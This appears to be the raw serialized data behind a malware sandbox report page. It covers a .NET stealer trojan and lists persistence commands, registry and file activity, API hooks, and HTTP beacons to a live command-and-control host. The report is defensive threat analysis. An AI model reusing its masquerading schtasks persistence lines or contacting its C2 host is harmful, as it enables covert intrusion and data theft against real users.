26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 36:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4cd,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.MSIL.Basic.8 Sample 980024e8c13c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 980024e8c13c…. Malware family: Trojan.MSIL.Basic.8. Threat score 100/100. 16/28 AV engines flagged this file. 15 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","keywords":["Malicious","Trojan.MSIL.Basic.8","malware analysis","sandbox report","threat intelligence","980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50"],"about":{"@type":"SoftwareApplication","name":"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.MSIL.Basic.8","antivirusDetections":{"malicious":16,"total":28},"behavioralIndicators":{"malicious":15,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5e6,"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "schtasks.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "chcp.com" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "PING.EXE" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "ShellExperienceHost.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")28:T5da,"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" called "CreateProcessW" with parameter ""schtasks" /create /tn "ShellExperienceHost" /sc ONLOGON /tr "'C:\ProgramData\Desktop\ShellExperienceHost.exe'" /rl HIGHEST /f" - (UID: 00000000-00007040) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" called "CreateProcessW" with parameter ""schtasks" /create /tn "AutoIt3_x64" /sc ONLOGON /tr "'C:\Program Files (x86)\AutoIt3\AutoIt\AutoIt3_x64.exe'" /rl HIGHEST /f" - (UID: 00000000-00007040) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" called "CreateProcessW" with parameter ""schtasks" /create /tn "AutoIt3_x64" /sc ONLOGON /tr "'C:\Users\HAPUBWS\My Documents\AutoIt3_x64.exe'" /rl HIGHEST /f" - (UID: 00000000-00007040) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" called "CreateProcessW" with parameter ""schtasks" /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Windows\System32\wbem\p2p-mesh\WmiPrvSE.exe'" /rl HIGHEST /f" - (UID: 00000000-00007040) "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" called "CreateProcessW" with parameter ""C:\WINDOWS\System32\cmd.exe" /C "C:\Users\HAPUBWS\AppData\Local\Temp\6TnwmlA4fm.bat" " - (UID: 00000000-00007040) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00002924) "cmd.exe" called "CreateProcessW" with parameter "ping -n 5 localhost " - (UID: 00000000-00002924) "cmd.exe" called "CreateProcessW" with parameter ""C:\ProgramData\Desktop\ShellExperienceHost.exe" " - (UID: 00000000-00002924)29:T4ff,"GET /apiBigloadDbtrack.php?cx7Ukq=uu8nKMEVA3XUF4cv&unG7v3M=oa8e0eVVxxTaMab4nQwYHnPACx&7jh81wygvF1KZB8RGJU=TMMTeGxrAL8cD3YwQzcoX3pywGWWIWJ&b6ec324bc9a7516862e5f46feb1811b1=9ea1c00d50237385904866634e41a0d8&dd1f40d9568603c2b8de85ab3103cf4a=QO4YWMiNmM0ATOyMWMygzNmBjZ1YGO3M2NwUmZmJ2MkdzY0QmNwQjN&cx7Ukq=uu8nKMEVA3XUF4cv&unG7v3M=oa8e0eVVxxTaMab4nQwYHnPACx&7jh81wygvF1KZB8RGJU=TMMTeGxrAL8cD3YwQzcoX3pywGWWIWJ HTTP/1.1 Accept: */* Content-Type: application/json User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1 Host: a0553951.xsph.ru Connection: Keep-Alive" "GET /apiBigloadDbtrack.php?cx7Ukq=uu8nKMEVA3XUF4cv&unG7v3M=oa8e0eVVxxTaMab4nQwYHnPACx&7jh81wygvF1KZB8RGJU=TMMTeGxrAL8cD3YwQzcoX3pywGWWIWJ&b6ec324bc9a7516862e5f46feb1811b1=9ea1c00d50237385904866634e41a0d8&dd1f40d9568603c2b8de85ab3103cf4a=QO4YWMiNmM0ATOyMWMygzNmBjZ1YGO3M2NwUmZmJ2MkdzY0QmNwQjN&cx7Ukq=uu8nKMEVA3XUF4cv&unG7v3M=oa8e0eVVxxTaMab4nQwYHnPACx&7jh81wygvF1KZB8RGJU=TMMTeGxrAL8cD3YwQzcoX3pywGWWIWJ HTTP/1.1 Accept: */* Content-Type: application/json User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1 Host: a0553951.xsph.ru"2a:Tc3a,"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\INPROCHANDLER") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "WbemDefaultPathParser" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\INPROCSERVER32") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "Computer" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "Memory Mapped Cache Mgr" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "UsersFiles" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "Sync root manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "Security Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\INPROCSERVER32") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\INPROCSERVER32") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32")2b:Tad8,"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin" file has an entrypoint instructions - "jmpdword ptr [0x402000],addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al," "CHCP.COM.63DD3700.bin" file has an entrypoint instructions - "subrsp, 0x28,call0x140001b40,addrsp, 0x28,jmp0x14000174c,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,int3,nopword ptr [rax + rax],cmprcx, qword ptr [rip + 0x26c1],jne0x140001959,rolrcx, 0x10,testcx, 0xffff,jne0x140001955,ret,rorrcx, 0x10,jmp0x140001c60,int3,int3,subrsp, 0x28,movrax, qword ptr [rcx],cmpdword ptr [rax], 0xe06d7363,jne0x140001992,cmpdword ptr [rax + 0x18], 4," "WmiPrvSE.exe" file has an entrypoint instructions - "jmpdword ptr [0x402000],addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,"2c:T7b3,"CHCP.COM.63DD3700.bin" has type "PE32+ executable (console) x86-64 for MS Windows"- [targetUID: N/A] "WmiPrvSE.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%WINDIR%\System32\wbem\p2p-mesh\WmiPrvSE.exe]- [targetUID: 00000000-00007040] "ShellExperienceHost.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%PUBLIC%\Desktop\ShellExperienceHost.exe]- [targetUID: 00000000-00002924] "6TnwmlA4fm.bat" has type "DOS batch file ASCII text with CRLF line terminators"- Location: [%TEMP%\6TnwmlA4fm.bat]- [targetUID: 00000000-00002924] "AutoIt3_x64.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%USERPROFILE%\My Documents\AutoIt3_x64.exe]- [targetUID: 00000000-00007040] "ShellExperienceHost.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\ShellExperienceHost.exe.log]- [targetUID: 00000000-00007784] "24dbde2999530ef5fd907494bc374d663924116c" has type "ASCII text with very long lines with no line terminators"- Location: [%WINDIR%\System32\wbem\p2p-mesh\24dbde2999530ef5fd907494bc374d663924116c]- [targetUID: 00000000-00007040] "hchJ5AbFW3" has type "ASCII text with no line terminators"- Location: [%TEMP%\hchJ5AbFW3]- [targetUID: 00000000-00007040] "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe.log]- [targetUID: 00000000-00007040] "21217b1546ce0481b3c74099dfbd96666b497b32" has type "ASCII text with no line terminators"- Location: [%USERPROFILE%\Documents\21217b1546ce0481b3c74099dfbd96666b497b32]- [targetUID: 00000000-00007040] "f8c8f1285d826bc63910aaf97db97186ba642b4f" has type "ASCII text with very long lines with no line terminators"- Location: [%PUBLIC%\Desktop\f8c8f1285d826bc63910aaf97db97186ba642b4f]- [targetUID: 00000000-00007040]2d:T9aa,"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\HEUR-TROJAN-SPY.MSIL.STEALER.GEN-980024E8C13C.EXE.CONFIG" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\HEUR-TROJAN-SPY.MSIL.STEALER.GEN-980024E8C13C.EXE.LOG" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL"2e:T852,Observed function LoadLibrary in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function FreeLibrary in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function GetProcAddress in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function PrintWindow in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function IsWindowVisible in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function GetWindowRect in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function CreateDesktop in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function CloseDesktop in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function OpenDesktop in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function SetWindowLong in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function WindowFromPoint in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function GetWindowLong in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function EnumDesktops in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function GetProcessWindowStation in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function SendMessageTimeout in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function GetAncestor in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function EnumDesktopWindows in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function GetWindowThreadProcessId in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function SetThreadDesktop in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin Observed function LoadKeyboardLayout in 980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin2f:T4df,"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "schtasks.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "schtasks.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "chcp.com" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "chcp.com" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")30:T4db,"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Desktop\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Documents\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Music\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Pictures\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Videos\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Downloads\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Searches\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Contacts\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Favorites\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Links\desktop.ini" "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" read file "C:\Users\%OSUSER%\Saved Games\desktop.ini"31:Td18,"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "e91e9f9700" to virtual address "0xF63B6630" ("GetWindowTextA@USER32.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "5058d5f6f87f00000057d5f6f87f0000" to virtual address "0xF5DE4390" (part of module "KERNELBASE.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "e0e4d7f6f87f000040ebd4f6f87f000000f1d5f6f87f000090efd4f6f87f000050e5d5f6f87f000080c8d4f6f87f000010d9d4f6f87f000050afd5f6f87f000050edd5f6f87f000070ced4f6f87f000070e7d5f6f87f0000" to virtual address "0xF5DE4410" (part of module "KERNELBASE.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "e9d1eb9400" to virtual address "0xF63E19F0" ("GetForegroundWindow@USER32.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "65488b0425c8140000" to virtual address "0xE2D52C1B" (part of module "CLR.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "65488b0425c0140000" to virtual address "0xE2D52BC0" (part of module "CLR.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "a071daf6f87f0000d012d5f6f87f0000b037d6f6f87f00002019d5f6f87f000090fed4f6f87f00002019d5f6f87f00002019d5f6f87f00004071daf6f87f0000e01cd5f6f87f0000e01cd5f6f87f0000" to virtual address "0xF5DE4288" (part of module "KERNELBASE.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "403bd5f6f87f00005075daf6f87f00001087d4f6f87f0000e076daf6f87f00002078daf6f87f00004003d6f6f87f00002076daf6f87f00004038d5f6f87f0000" to virtual address "0xF5DE4348" (part of module "KERNELBASE.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "7014d4f6f87f0000001ed4f6f87f0000" to virtual address "0xF5DE4308" (part of module "KERNELBASE.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "65488b0425c0140000" to virtual address "0xE2D52B83" (part of module "CLR.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "654c8b1c25c0140000" to virtual address "0xE2D529CC" (part of module "CLR.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "654c8b1c25c0140000" to virtual address "0xE2D5264E" (part of module "CLR.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "e96e619500" to virtual address "0xF63DA320" ("ExitWindowsEx@USER32.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "654c8b1c25c0140000" to virtual address "0xE2D528CA" (part of module "CLR.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "ada4dcc8fedb0000" to virtual address "0xE351FA70" (part of module "CLR.DLL") "HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe" wrote bytes "654c8b1c25c0140000" to virtual address "0xE2D52570" (part of module "CLR.DLL") 